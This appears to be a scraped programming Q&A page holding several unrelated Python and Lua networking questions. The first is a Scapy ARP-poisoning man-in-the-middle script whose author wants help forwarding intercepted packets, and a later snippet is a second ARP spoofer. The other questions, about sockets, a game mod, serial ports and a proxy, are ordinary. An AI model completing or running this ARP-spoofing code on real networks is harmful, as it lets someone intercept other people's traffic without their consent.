I got a working arp poisoning in python using scapy, it changes the arp cache on the target machine.
I want to be able to forward the packets that I'm receiving because I became a MITM.
For some reason, scapy doesn't send the packets I'm wanting to send to the right machine and the target machine just loses connectivity to the internet.
import scapy.all as scapy
import threading
import time
def find_mac(ip):
mac = None
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=5, verbose=False)[0]
response = str(answered_list).split("Other:")[1].replace(">", "")
if response != '0':
mac = answered_list[0][1].hwsrc
return mac
my_ip = ""
target_ip = ""
router_ip = ""
my_mac = find_mac(my_ip)
target_mac = find_mac(target_ip)
router_mac = find_mac(router_ip)
def check_packet(packet):
try:
src_ip = packet[0][scapy.IP].src
dst_ip = packet[0][scapy.IP].dst
except:
src_ip = None
dst_ip = None
if (src_ip == target_ip or dst_ip == target_ip) and packet[0][scapy.Ether].dst == my_mac:
print("dst " + packet[0][scapy.Ether].dst)
print("src " + packet[0][scapy.Ether].src)
threading.Thread(target=redirecect, args=(packet,)).start()
def spoof(victim_packet, router_packet):
while True:
scapy.sendp(victim_packet, verbose=False)
scapy.sendp(router_packet, verbose=False)
time.sleep(3)
def redirecect(packet):
src_ip = packet[0][scapy.IP].src
if src_ip == target_ip:
packet[0][scapy.Ether].dst = router_mac
else:
packet[0][scapy.Ether].dst = target_mac
packet.show()
scapy.sr(packet, verbose=False) # ,verbose=False
print("my " + my_mac)
print("target " + target_mac)
print("router " + router_mac)
victim_ether = scapy.Ether(src=router_mac, dst=target_mac)
victim_arp = scapy.ARP(op=2, psrc=router_ip, pdst=target_ip,
hwdst=target_mac)
router_ether = scapy.Ether(src=target_mac, dst=router_mac)
router_arp = scapy.ARP(op=2, psrc=target_ip, pdst=router_ip,
hwdst=router_mac)
victim_packet = victim_ether / victim_arp
router_packet = router_ether / router_arp
threading.Thread(target=spoof, args=(victim_packet, router_packet)).start()
while True:
packet = scapy.sniff(count=1)
threading.Thread(target=check_packet, args=(packet,)).start()
It writes "WARNING: Mac address to reach destination not found. Using broadcast." most of the time and it seems like my computer arp cache is being spoofed as well.
What do I need to do so my code would send the packets correctly?
Related
I'm trying to build a fake money transfer program with sockets in python. Everything is working perfectly except the "name" and "amount" transfer from the server to the client. When someone clicks receive on the client interface, the server is supposed to send the client the name of the person who sent the money and the amount. The problem is that the client is not receiving the data sent from the server. When you click the "receive" button, the interface just freezes then crashes. From the debugging I've done, I'm pretty sure the server is sending the name and amount, but the client is not receiving it. I honestly have no idea why it's not working. Everything I did should work like it has numerous other times throughout the program. This one has got me stumped.
Any help would be great. Thanks! 😁
[CODE]
Server.py:
import socket
import threading
HOST = '192.168.1.6'
PORT = 9090
def client_fun(client, addr):
global transfers
print(f"{addr} just connected!")
connected = True
while connected:
msg = client.recv(1024).decode('utf-8')
if msg == "RECEIVE_CHECK":
usrn = client.recv(1024).decode('utf-8')
transfers_ = open("transfers.txt", "r")
transfers = str(transfers_.readlines())
transfers = transfers.split("+")
transfers[0] = transfers[0].replace("[", "")
transfers[0] = transfers[0].replace("'", "")
transfers.pop()
names = []
for tran in transfers:
tran_ = tran.split("-")
i = 0
while i <= len(tran):
names.append(tran_[2])
i += 1
if usrn in names:
client.send("OK".encode('utf-8'))
else:
client.send("NO".encode('utf-8'))
if usrn in names:
for tran in transfers:
tran_ = tran.split("-")
if usrn == tran_[2]:
name = str(tran_[0])
amount = str(tran_[1])
client.send(name.encode('utf-8'))
client.send(amount.encode('utf-8'))
account_file = usrn + "_" + "account.txt"
account_r = open(account_file, "r")
account_r = str(account_r.readlines())
account_r = account_r.replace(']', '')
account_r = account_r.replace('[', '')
account_r = account_r.replace("'", "")
try:
account_r = int(account_r)
except:
print("Can't Convert Str to Int!")
break
new_amount = int(tran_[1]) + account_r
account_w = open(account_file, "w")
account_w.write(str(new_amount))
account_w.close()
tran = tran + "+"
transFers_ = open("transfers.txt", "r")
transFers = str(transFers_.readlines())
transFers_.close()
transFers = transFers.replace(']', '')
transFers = transFers.replace('[', '')
transFers = transFers.replace("'", "")
transFers = transFers.replace(tran, '')
transFers_ = open("transfers.txt", 'w+')
transFers_.write(transFers)
transFers_.close()
print("Excepted!")
else:
print("Nothing Here!")
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen()
print("Server is listening!")
while True:
c_socket, address = server.accept()
thread = threading.Thread(target=client_fun, args=(c_socket, address))
thread.start()
Client.py:
import socket
HOST = '192.168.1.6'
PORT = 9090
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def receive(usrn):
socket.send("RECEIVE_CHECK".encode('utf-8'))
socket.send(usrn.encode('utf-8'))
c = socket.recv(1024).decode('utf-8')
if c == "OK":
try:
print("Trying to except....")
name = socket.recv(2000).decode('utf-8')
amount = socket.recv(2000).decode('utf-8')
print("Excepted!")
messagebox.showwarning("Continue?", f"{name} has sent you ${amount}", icon="question")
messagebox.showwarning("Info", f"${amount} has just been transferred to your account!", icon="info")
menu(usrn)
except:
print("Error!")
else:
print("Nothing Today!")
This is a part of my code. The problem is around the def get_mac(ip) class
#!/usr/bin/env python
import scapy.all as scapy
import time
import sys
This is where the spoof(ip) variable is created
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
This is where we spoof the target
def spoof(target_ip, spoof_ip):
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
target_mac = get_mac(target_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip, source_ip):
[...]
target_ip = "..."
gateway_ip = "..."
sent_packet_count = 0
The code can't reach this part
try:
spoof("target_ip", "gateway_ip")
spoof("gateway_ip", "target_ip")
sent_packet_count = sent_packet_count + 2
print("\r[+] Packets sent: " + str(sent_packet_count)),
sys.stdout.flush()
time.sleep(2)
So, I'm coding a lua mod for Binding of Isaac. I made a lua client (using luasocket), and a python server.
In local, everything works fine, but when I test it using my public ip (I did the port forwarding on my router), the lua client times out at its second reception.
I don't know what causes it, the log says "timeout at CID".
Edit (forgotten to add this) :
What is weird is that for the python server, it's as if he already sent it, because when I add a timeout on the server, it's only the reception of the message "[RCID]\n" that times out.
Here is the network part of the lua mod:
local socket = require("socket")
local connectIP = ""
local currentPort = 21666
local loopTimeout = 10
function Network.SendData(data)
if currentBehaviour == Behaviour.CLIENT then
client:send(data.."\n")
end
end
function Network.StartClient()
if currentBehaviour == Behaviour.IDLE then
client = assert(socket.tcp())
client:connect(connectIP,currentPort)
currentBehaviour = Behaviour.CLIENT
client:settimeout(loopTimeout)
local seed,errs = client:receive()
if errs~="timeout" and errs~=nil then
Network.CloseConnection();
Isaac.DebugString("seederror:"..errs);
elseif errs=="timeout" then
Network.CloseConnection();
Isaac.DebugString("timeout at seed");
elseif errs==nil then
Isaac.DebugString("Seed: : "..seed);
Isaac.ExecuteCommand("seed "..seed)
end
local CID,err = client:receive()
if err~="timeout" and err~=nil then
Network.CloseConnection();
Isaac.DebugString("ciderror:"..err);
elseif err=="timeout" then
Network.CloseConnection();
Isaac.DebugString("timeout at CID");
elseif err==nil then
Isaac.DebugString("CID : "..CID);
ClientID = tonumber(CID)
Network.SendData("[RCID]")
end
end
end
Here is the server :
import socket
import select
from parse import *
IsaacClients = {}
seed = b"98BN MJ4D\n"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('', 21666))
server.listen(10)
num_clients = 0
server_launched = True
connected_clients = []
while server_launched:
connections_asked, wlist, xlist = select.select([server],
[], [], 0.05)
for connection in connections_asked:
connection_client, info_client = connection.accept()
print(info_client)
connected_clients.append(connection_client)
print("Sending Seed")
connection_client.sendall(seed) # send the seed
print("Seed Sent")
num_clients = num_clients +1
check = ""
counter = 0
while check != "[RCID]\n" and counter<100: # try 100 times to send the ClientID
print("Sending ClientID")
try:
connection_client.settimeout(0.1)
connection_client.sendall((str(num_clients)+"\n").encode())
check = connection_client.recv(7).decode() # try to check if it has received it
connection_client.settimeout(None)
except:
pass
counter=counter+1
if counter == 100:
server_launched = False
print("ClientID Sent")
clients_to_read = []
try:
clients_to_read, wlist, xlist = select.select(connected_clients,
[], [], 0.05)
except select.error:
pass
else:
for client in clients_to_read:
msg_recved = client.recv(1024)
msg_recved = msg_recved.decode()
print("[] {}".format(msg_recved))
if msg_recved.find("[END]")!= -1 :
server_launched = False
msg_recved = msg_recved.split('\n') # split into lines
for line in msg_recved:
data = parse("[ID]{ID}[POS]{x};{y}[ROOM]{RoomIndex}[CHAR]{CharacterName}[REDM]{MaxHeart}[RED]{Hearts}[SOUL]{SoulHearts}", line)
if data != None :
IsaacClients[data['ID']] = data
luaTable = "{" # start the generation of the lua table that will be sent
for player in IsaacClients.values():
luaTable = luaTable + "[" + player['ID'] +"]={ID=" + player['ID'] + ",POS={x=" +player['x']+ ",y=" +player['y']+ "},ROOM=" +player['RoomIndex']+ ",CHAR='" +player['CharacterName']+ "',REDM=" +player['MaxHeart']+ ",RED=" +player['Hearts']+ ",SOUL=" +player['SoulHearts']+ "}"
luaTable = luaTable + "}\n"
print(luaTable)
print("Sending Table")
client.sendall(luaTable.encode())
print("Table Sent")
print("Server closing")
for client in connected_clients:
client.close()
So, finally, there was no issue, the thing was : my router didn't support hairpinning, making weird bugs when trying to use the public ip from the local network. It works fine whith PCs outside of the network.
I have a nice little script, which should give me the open serial port in def serial_port(): Which is '/dev/ttyACM0' as usual. However my next function def connect_phone(): doesn't accept this as an input (giving me an serial.serialutil.SerialException:, but only when its typed manually. Does anyone get whats the issue here?
the complete script is this:
import sys
import glob
import serial
import time
def serial_ports():
""" Lists serial port names
:raises EnvironmentError:
On unsupported or unknown platforms
:returns:
A list of the serial ports available on the system
"""
if sys.platform.startswith('win'):
ports = ['COM%s' % (i + 1) for i in range(256)]
elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'):
# this excludes your current terminal "/dev/tty"
ports = glob.glob('/dev/tty[A-Za-z]*')
elif sys.platform.startswith('darwin'):
ports = glob.glob('/dev/tty.*')
else:
raise EnvironmentError('Unsupported platform')
result = []
for port in ports:
try:
s = serial.Serial(port)
s.close()
result.append(port)
except (OSError, serial.SerialException):
pass
return result
def connect_phone():
ser = serial.Serial("'"+serial_ports()[0]+"'", #'/dev/ttyACM0', (this is the problem here)
460800,
timeout=5,
xonxoff = False,
rtscts = False,
bytesize = serial.EIGHTBITS,
parity = serial.PARITY_NONE,
stopbits = serial.STOPBITS_ONE)
ser.write(bytes('AT+CGMI' + '\r\n'))
ser.timeout = 1
ser.write('AT+CGMM' + '\r\n')
ser.timeout = 1
time.sleep(2)
ser.write('AT+CNMI=?\r') #checks whether mobile phone can receive delivery reports
response = ser.read(999)
return response
print("'"+serial_ports()[0]+"'")
time.sleep(1)
print(connect_phone())
I build a server proxy with Python by using socket and select libraries. I got an issue: When the proxy is ready to use and I reload a website it doenst reload it. I get only 3 headers from the server and the client send to the server the variable "data" that contains the client header. If you run the program you'll be able to understand better.
** HostFliter is a function that gets the first line of the header, and returns the domain of the website.
import socket, select
def HostFliter(dataSplit):
dataSplit = dataSplit[0]
print dataSplit," datasplit"
if dataSplit.split(" ")[0] == "GET" or dataSplit.split(" ")[0] == "POST":
dataSplit = dataSplit.split(" ")[1]
dataSplit = dataSplit.replace("http://","")
if dataSplit.find('/') != -1:
dataSplit = dataSplit.split('/')[0]
return dataSplit
else:
return ""
clientSocket = socket.socket()
clientSocket.bind(('0.0.0.0', 80))
clientSocket.listen(100)
open_client_sockets = []
while True:
rlist, wlist, xlist = select.select([clientSocket] + open_client_sockets, open_client_sockets, [])
for currentSocket in rlist:
if currentSocket is clientSocket:
newSocket, addr = clientSocket.accept()
open_client_sockets.append(newSocket)
else:
data = currentSocket.recv(4096)
print data
if data == "":
currentSocket.send("")
currentSocket.close()
open_client_sockets.remove(currentSocket)
print 'Conn is closed'
else:
dataSplit = data.split("\r\n")
Host = HostFliter(dataSplit)
print Host, " Host"
if Host == "":
break
serverSocket = socket.socket()
serverSocket.connect((Host, 80))
serverSocket.send(data)
print "Sent to server"
response = serverSocket.recv(4096)
new_res = ""
while len(new_res) > 0:
new_res = ""
new_res = serverSocket.recv(4096)
response += new_res
currentSocket.send(response)
print "Sent " + Host
Thanks for the helpers!!